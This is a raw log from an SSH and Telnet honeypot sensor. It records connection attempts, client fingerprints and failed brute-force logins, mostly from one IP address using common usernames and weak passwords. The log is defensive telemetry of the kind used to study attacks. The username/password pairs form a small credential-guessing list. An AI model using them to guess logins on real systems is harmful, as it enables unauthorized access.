{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:35.520538Z","src_ip":"176.65.132.129","session":"c05baaefa703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:35.607542Z","src_ip":"176.65.132.129","session":"c05baaefa703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:35.853944Z","src_ip":"176.65.132.129","session":"c05baaefa703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:37.066217Z","src_ip":"176.65.132.129","session":"c05baaefa703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53742,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fc83ab5ab8c","protocol":"ssh","message":"New connection: 176.65.132.129:53742 (10.17.0.5:22) [session: 2fc83ab5ab8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:38.909349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:38.913741Z","src_ip":"176.65.132.129","session":"2fc83ab5ab8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:38.997041Z","src_ip":"176.65.132.129","session":"2fc83ab5ab8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:39.345285Z","src_ip":"176.65.132.129","session":"2fc83ab5ab8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41338,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8a68e832a48","protocol":"telnet","message":"New connection: 38.60.198.128:41338 (159.203.135.109:23) [session: b8a68e832a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:39.763470Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:40.430156Z","src_ip":"176.65.132.129","session":"2fc83ab5ab8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53750,"dst_ip":"10.17.0.5","dst_port":22,"session":"29ce81928204","protocol":"ssh","message":"New connection: 176.65.132.129:53750 (10.17.0.5:22) [session: 29ce81928204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:42.325413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:42.329442Z","src_ip":"176.65.132.129","session":"29ce81928204","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:42.411314Z","src_ip":"176.65.132.129","session":"29ce81928204","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:42.658437Z","src_ip":"176.65.132.129","session":"29ce81928204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":56732,"dst_ip":"159.203.135.109","dst_port":22,"session":"b55477e0176c","protocol":"ssh","message":"New connection: 57.128.222.14:56732 (159.203.135.109:22) [session: b55477e0176c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:43.327885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:43.332591Z","src_ip":"57.128.222.14","session":"b55477e0176c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:43.441565Z","src_ip":"57.128.222.14","session":"b55477e0176c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:43.743148Z","src_ip":"176.65.132.129","session":"29ce81928204","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@321","message":"login attempt [root/Admin@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:43.911172Z","src_ip":"57.128.222.14","session":"b55477e0176c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:45.023186Z","src_ip":"57.128.222.14","session":"b55477e0176c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36630,"dst_ip":"10.17.0.5","dst_port":22,"session":"336374a0de0e","protocol":"ssh","message":"New connection: 176.65.132.129:36630 (10.17.0.5:22) [session: 336374a0de0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:45.702559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:45.706882Z","src_ip":"176.65.132.129","session":"336374a0de0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:45.872021Z","src_ip":"176.65.132.129","session":"336374a0de0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:46.326143Z","src_ip":"176.65.132.129","session":"336374a0de0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46534,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f66a0ed0182","protocol":"telnet","message":"New connection: 38.60.198.128:46534 (159.203.135.109:23) [session: 6f66a0ed0182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:46.981634Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":56978,"dst_ip":"159.203.135.109","dst_port":23,"session":"733d81f2d52a","protocol":"telnet","message":"New connection: 64.227.82.147:56978 (159.203.135.109:23) [session: 733d81f2d52a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:47.226290Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:47.410267Z","src_ip":"176.65.132.129","session":"336374a0de0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.33174252510071,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:47.593273Z","src_ip":"38.60.198.128","session":"c9dab19475e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36638,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc31832d26fa","protocol":"ssh","message":"New connection: 176.65.132.129:36638 (10.17.0.5:22) [session: dc31832d26fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:49.210851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:49.218385Z","src_ip":"176.65.132.129","session":"dc31832d26fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:49.299402Z","src_ip":"176.65.132.129","session":"dc31832d26fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:49.549291Z","src_ip":"176.65.132.129","session":"dc31832d26fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:50.642474Z","src_ip":"176.65.132.129","session":"dc31832d26fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.04355311393738,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:51.634761Z","src_ip":"38.60.198.128","session":"45f55ca4fa78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36658,"dst_ip":"10.17.0.5","dst_port":22,"session":"46f467629f62","protocol":"ssh","message":"New connection: 176.65.132.129:36658 (10.17.0.5:22) [session: 46f467629f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:52.546607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:52.550479Z","src_ip":"176.65.132.129","session":"46f467629f62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:52.631708Z","src_ip":"176.65.132.129","session":"46f467629f62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:53.006513Z","src_ip":"176.65.132.129","session":"46f467629f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:54.091431Z","src_ip":"176.65.132.129","session":"46f467629f62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45574,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ef4e0f77229","protocol":"ssh","message":"New connection: 176.65.132.129:45574 (10.17.0.5:22) [session: 7ef4e0f77229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:55.897095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:55.901983Z","src_ip":"176.65.132.129","session":"7ef4e0f77229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:55.984523Z","src_ip":"176.65.132.129","session":"7ef4e0f77229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:56.231059Z","src_ip":"176.65.132.129","session":"7ef4e0f77229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33240,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6054b38cd8c","protocol":"telnet","message":"New connection: 38.60.198.128:33240 (159.203.135.109:23) [session: c6054b38cd8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:56.935155Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:57.426090Z","src_ip":"176.65.132.129","session":"7ef4e0f77229","protocol":"ssh"}
